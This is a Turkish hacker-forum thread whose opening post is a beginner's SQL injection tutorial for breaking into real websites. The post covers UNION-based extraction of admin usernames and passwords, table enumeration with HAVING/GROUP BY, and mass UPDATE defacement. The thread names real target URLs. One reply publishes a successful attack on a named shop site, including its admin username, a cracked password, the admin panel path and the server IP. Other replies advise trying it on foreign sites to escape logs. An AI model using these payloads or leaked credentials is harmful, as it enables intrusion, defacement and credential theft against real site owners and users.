Düzeltmeler için sağolun :) İnş yeni dkümanlarla sizlerle olucam zaten sınavlarımda bitti :D ama daha büyük sınav ss var onuda atlattıktan sonra daha bi zen gstericem bu anlatım olaylarına Tbt Dersimliler Derneği Başkanı :)

eyw kardeşim. Ne Olursan Ol Beni Bul ; https://www.facebook.com/izmirliyimmm

Çok sağol aga ya kafayı yiyicektim nasıl yapılıyo bu sql injection diye :)

Müritler genelde hep bu konu üzerine sorular soruyordu bende kendi yazdığım bir dkümanı paylaşmak istedim eminim yeni başlayanlar için baya faydalı olucaktr... Dküman Yeni Başlıyacaklar içindir... Hatalarım Olursa Düzeltmeniz Dileğimle xD 1)Sql İnjection veri okuma tablo kolon vs2)Tablo Kolon İsimleri Dev Arşiv3)Admin Yolları ve Sql Updatesql bildiğimiz veri tabanı olup genelde sizin yapıcaklarınız. asp?paramtre=00 gibi bi değer bulmaktır... Siteyi bulduktan sonra sitede 'a işareti ekleyerek db den hata almamızı sağlıyacaksınız... Karşınıza çıkıcak hatalara grede veri çekicek veya update yapıcak yada her ne Yapıcaksnz... Çıkabilcek olası hataları sırayla açıklıcam... Eğer bu hata kodu çıkarsa... Kod:type mismatch, input string wasnt in correct form, application uses a wrong type arguement for the current operation.. Büyük İhtimal yada %95 hiç bişe yapamazsınız... Başka Şeyler Deneyin...2) Syntax error alırsanız... site. asp?id=0+union+select+0+from+tabloadi yaparak şifre veya kullanıcı adı çekiceksiniz gidip haber tablosunu yazıyorlar sonra haberler blümünden user veya pass çekmeye çalışıyor... hiç mantıklımı haberlerden user veya pass çekmek... union+select+0+from+admin veya user veya users veya member veya members veya kullaniciadi yazarak tabloları sallıyacaksınız sizin için çıkabilcek maximun tabloları Eklenti olarak konu sonunda vericem... Tablo adlarını salladık ve denemeyi yaptık yani maximun bu kolonlarıı denedikten sonra... mesela users tablosu tuttu farzedelim karşınıza union+select+0+from+user dan sonra şyle bi hata gelicek Kod:The number of columns in the two selected tables or queries of a union query do not match. buradan sonra başlıcan mesela 0 sayısını yükseltemeye... takii hata ekranından kurtulana kadar... rnek : http://www.metinturan.net/haberdetay. asp?ref_id=451+union+select+0,1,2,3,4,5,6+from+usershalen hata varken iştehttp://www.metinturan.net/haberdetay. asp?ref_id=451+union+select+0,1,2,3,4,5,6,7,8+from+users yapınca ekrana 3 ve 5 sayıları yansıdı demekki yazdığımız 3 ve numaralı kolonlar dışarı yansıyor... bunlara şimdi malum olabilcek tablo değerlerini giricez... rnek users tablosunda... adi veya sifre diye tablolar buyuk vardır veritabanında... 3 nolu tabloya adi 5 nolu tabloya ise sifre yazdığımız zaman bir bakında kullanıcı adi ve sifre dışarıya yansıdı yani kullanici adi ve şifresini çektik bazen tabi size direk rakamlar yansımaz dışarıda bi resmin içindede yansıyabilir... Dikkatli olmamız lazım rneğin orada grüntü diye yazan resmin url ye bakınca 1 yazdığını grüceksiniz orayada adi tablosunu yazarsan mesela oradada kullaniciadi çıkar url de sitenin son hali isehttp://www.metinturan.net/haberdetay. asp?ref_id=451+union+select+0,1,2, adi,4, sifre,6,7,8+from+usersKullaniciadi ve şifreside aynı admin paneli yolunu bul gir... admin paneli yollarının tümünüde vericem size eklentide hatta vb de yapabilirsem admin yollarını deniyecek program yazıcam3. Hata ise unclosed hatasıbu hatada tamamen kolonlar üzerine update yapılarak bilgiler değiştirilebilirana komutuhttp://www.site.com/dosya. asp?parametre=00+update+kolon+set+tablo='yazı';--Tabloları ise site sonuna having 1=1 komutunu yazarak alıcaz... rneğin... http://www.site.com/dosya. asp?parametre=00+having1=1 yaptıkDersimliHacker. Hıyarlar diye sistemi verdiBurada kolon ismi = DersimliHackerTablo ise = Hıyarlardır... sonra sitenin sonuna tkrr kodlama yaparak, http://www.site.com/dosya. asp?parametre=00+group+by+hiyarlar;--yapıcansonra DersimliHacker. Mallar gibi bi tablo adı çıkıcak yani amaç tabloları çekerek hepsine update yapmak... , ile hıyarlar yanına ekliceksin... http://www.site.com/dosya. asp?parametre=00+group+by+hıyarlar, mallar;--diye taaaki next order gibi bi hata gelene kadar anlayınki tüm tabloları aldınız sonra başlıcaksınız update etmeye yanisite.com/dosya. asp?parametre=00+update+DersimliHacker+set+h ıyarlar='Hacked By DersimliHacker ';-- yaparak bütün tablo adlarını yazıphackliceksiniz unutmayın DersimliHacker kolonu her zaman sabit olucaktır Sadece değişecek sistem ğesi... tablo adlarıdır mesela hıyarlar, mallar gibi.. İstek olursa sayfayı ynlendirme ve css ile tam sayfa basmayıda anlatırım... asp de mssql access db kullanan bi sitede yapabileceğiniz maximum şeyler >tablo adını ve kolon adını bulursanız admin tablosundan k. adı pass çekip panele girersinizburda 1. şart panelin olması. adam gidiyo paneli olmayan sitede tablo arıyo, asp lerin %70 inde zaten access sql var paneli olanlar %10 gibi bişey.. bazılarıda haberler tablosunu tutturmuş o tablodan k. adı şifre kasıyo. artık bunları anlayın kendinizmysql kullanan bi sitede yapabileceğiniz maximum şeyler :panel varsa admin tablosu kolonu okuyup panele girersiniz. tablo adını çekmek için info table ları okuma izniniz varsa tablo adlarını çekebilirsiniz yoksa deneme yanılmayla bulmaktan başka hiçbi çare yok.. yapabileceğiniz 2. bi yntemse into outfile ile dosya oluşturmak. onun yasaklanmadığı siteleride bulursanız haber verin. info tables okuma izni yoksa zaten bu 2. seçeneği direk kafanızdan silin o yasaksa bu bi zahmet yasaklanmıştır.. artı magic_quotes_gpc on sa bunuda unutun.. bide bazen permler nedeniyle kafanıza gre her klasrde dosya oluşturamazsınız. bkz. turkishdailynews.com.trha bi de dosya kaynak kodu okursunuz load_file ile.. bu serbestse yukardakide serbest olur genelde mssql db lerde genel olarak her şey serbest. update drop insert create exec cart curt.. tabi standardında serbest. bi sitede update yasak olabileceği gibi bazen okuma izniniz bile olmayabilir... genelde guest, visitor, webuser cart curt gibi db kullanıcısıyla çalıştırılan sayfalarda update izni yoktur. bazen update serbest olur create yasak olur, bazen drop yasak olur cart curt... db kullanıcısı dbo ise sistem komutları çalıştırabilme ihtimaliniz var bazıları sanıyoki dbo olunca sistem komutları kesin çalıştırırsın. dbo olunca update drop create serbest. daha tesine izin veren siteler hala varsa şükretmek lazım. tek tük çıkıyo tabi.. hatta ben update in bile yasak olduğu dbo sistemler grdüm... hiçbişey kesin değildir sql de bunun dışında postgre falan çoğu zelliği aynı zaten mysql ile. oracle çok kısıtlı imkan verir genelde işine yaramaz. bi de database programı sayfanın dilinden bağımsızdır. asp bi sistem mysql oracle posgre cart curt kullanabildiği gibi php sistem mssql ms access kullanabilir... Tbt Dersimliler Derneği Başkanı :)

Dahada geniş anlatım versiyonları çok yakında tahribat mürid ve mürideleriyle :D Tbt Dersimliler Derneği Başkanı :)

eyw. hocam oturup yazmışsın :)

Güzel anlatım olmuş bir denme yapayım dedim oldu sanırsam http://shoespack.com/index. php?proclassid=35+ http://shoespack.com/index. php?proclassid=-35+union+select+1,2,3,4-- (2) http://shoespack.com/index. php?proclassid=-35+union+select+1, version ,3,4-- 5.0.91-log http://shoespack.com/index. php?proclassid=-35+union+select+1, group_concat ,3,4+from+information_schema. tables-- CHARACTER_SETS, CLIENT_STATISTICS, COLLATIONS, COLLATION_CHARACTER_SET_APPLICABILITY, COLUMNS, COLUMN_PRIVILEGES, INNODB_BUFFER_POOL_CONTENT, INDEX_STATISTICS, KEY_COLUMN_USAGE, PROCESSLIST, PROFILING, ROUTINES, SCHEMATA, SCHEMA_PRIVILEGES, STATISTICS, TABLES, TABLE_CONSTRAINTS, TABLE_PRIVILEGES, TABLE_STATISTICS, TRIGGERS, USER_PRIVILEGES, USER_STATISTICS, VIE http://shoespack.com/index. php?proclassid=-35+union+select+1, group_concat(CHAR(60,%2080,%2062), table_name) ,3,4+from+information_schema. tables+where+table_schema=database -- pa_adminlog, pa_imgpro, pa_loginlog, pa_message, pa_proclass, pa_session, pa_user, pa_usergroup http://shoespack.com/index. php?proclassid=-35+union+select+1, group_concat(CHAR(60,%2080,%2062), column_name) ,3,4+from+information_schema. columns+where+table_name= CHAR(112,%2097,%2095,%20108,%20111,%20103,%20105,%20110,%20108,%20111,%20103)-- loginlogid, username, password, date, ipaddress, extra username: admin Pasword ( Hash:5d828a9c40f3e5ff78df079fca5df3ac) : inloveme admin page:http://shoespack.com/admin/index. php Web Server: Apache Server System: Linux PHP Version: 5.2.17 MySQL Version: 5.0.91-log register_globals: Close Upload File: Can Use Server Addr: 173.201.169.21 Server Time: MST http://shoespack.com/admin/configurate. php?action=phpinfo

bilgiler için teşekkürler..

Gormeyenler gorsun, bende ufaktan cizmis oluyum :) Yeni bir iş, yeni bir aş, yeni bir hayat. Sil baştan başlamak gerek bazen modunda. Artık buralarda yokum :) Hepinizi seviyorum, muck.

: Bide bunu nlemek için dküman yazsan daha şık durur http://tahribat.com/Dokuman-Sql-Enjeksiyon-Nedir-Nasil-Korunulur-245/

: dersimlihacker bunu yazdı: site. asp?id=0+union+select+0+from+tabloadi yaparak şifre veya kullanıcı adı çekiceksiniza. qdukarlım gidip haber tablosunu yazıyorlar sonra haberler blümünden user veya pass çekmeye çalışıyor... a. q hiç mantıklımı haberlerden user veya pass çekmek... Ne kadar zarif, ne kadar derin bir anlatım. Demek ki insanlar ikiye ayrılıyor: dersimlihacker'ın a. qduklarıyla a. qoymadıkları olarak... kendimi bir an cmylmz'ın showlarından birinde zannettim :D az insan çok huzur.

hocam bence bunu video lu anlatım yap Bazıları sadece konuşur bazıları ise hayalleri ile dünya'ya yn verir.. Mycity

: dersimlihacker bunu yazdı: site. asp?id=0+union+select+0+from+tabloadi yaparak şifre veya kullanıcı adı çekiceksiniza. qdukarlım gidip haber tablosunu yazıyorlar sonra haberler blümünden user veya pass çekmeye çalışıyor... a. q hiç mantıklımı haberlerden user veya pass çekmek... Ne kadar zarif, ne kadar derin bir anlatım. Demek ki insanlar ikiye ayrılıyor: dersimlihacker'ın a. qduklarıyla a. qoymadıkları olarak... +1 düzelttim... Sanıyorum kendi ataszümü yaptım, kaynak belirterek kullanabilirsiniz. 10.05.2013 tarihli google arama sonucu : Aradığınız - "herşeyin hayırlısı rampanın bayırlısı" - ile ilgili hiçbir arama sonucu mevcut değil. Not : Syleyeni belli olduğu için ataszü değil, zlüsz oluyormuş, dolayısı ile kendi zlüszümü yapmış oldum :)

: site. asp?id=0+union+select+0+from+tabloadi yaparak şifre veya kullanıcı adı çekiceksiniza. qdukarlım gidip haber tablosunu yazıyorlar sonra haberler blümünden user veya pass çekmeye çalışıyor... a. q hiç mantıklımı haberlerden user veya pass çekmek... Ne kadar zarif, ne kadar derin bir anlatım. Demek ki insanlar ikiye ayrılıyor: dersimlihacker'ın a. qduklarıyla a. qoymadıkları olarak...

: Bide bunu nlemek için dküman yazsan daha şık durur Dkümanlar blümüne gz at hoca nmelek için dküman mevcutGüzel anlatım olmuş sağlam dküman +her nünüze gelen siteye dalmayın loglarda çıkarsa teşebüssünüz sakata gelme ihtimaliniz var bunu unutmayın merakınızı şimdilik yabancı sitelerde deneyin. Emekçiler ekmeklerini, emeklerinin karşılığı olarak ve nlenemez tarihi sürecin sonucu olarak mutlaka kazanacaklardır. Şüphesiz bu, zorlu bir dnemdir kısa vadeli ve greceli yenilgilerden geçer.

sql linki vermeyi unutmuşsun :) onuda ben vereyim http://cryptosuite.org/forum/yeni-baslayanlar-new-learners/762-sql-injection.html Ne Olursan Ol Beni Bul ; https://www.facebook.com/izmirliyimmm

: Düzeltmeler için sağolun :) İnş yeni dkümanlarla sizlerle olucam zaten sınavlarımda bitti :D ama daha büyük sınav ss var onuda atlattıktan sonra daha bi zen gstericem bu anlatım olaylarına video çekersen daha şekil olur :P

olm sen banlanmamısmıydın :) Cehennemin dibine kadar yolum var daha.. || Nasılsa her yalnız kendine sürgündür Asmera unutma.

Bide bunu nlemek için dküman yazsan daha şık durur yaratıcılık uçmak değil konmaktır...

Adi bir sigarayı paketinden çıkarıp parliament kutusuna sokmak sql injection'u en iyi şekilde açıklıyor aslında :\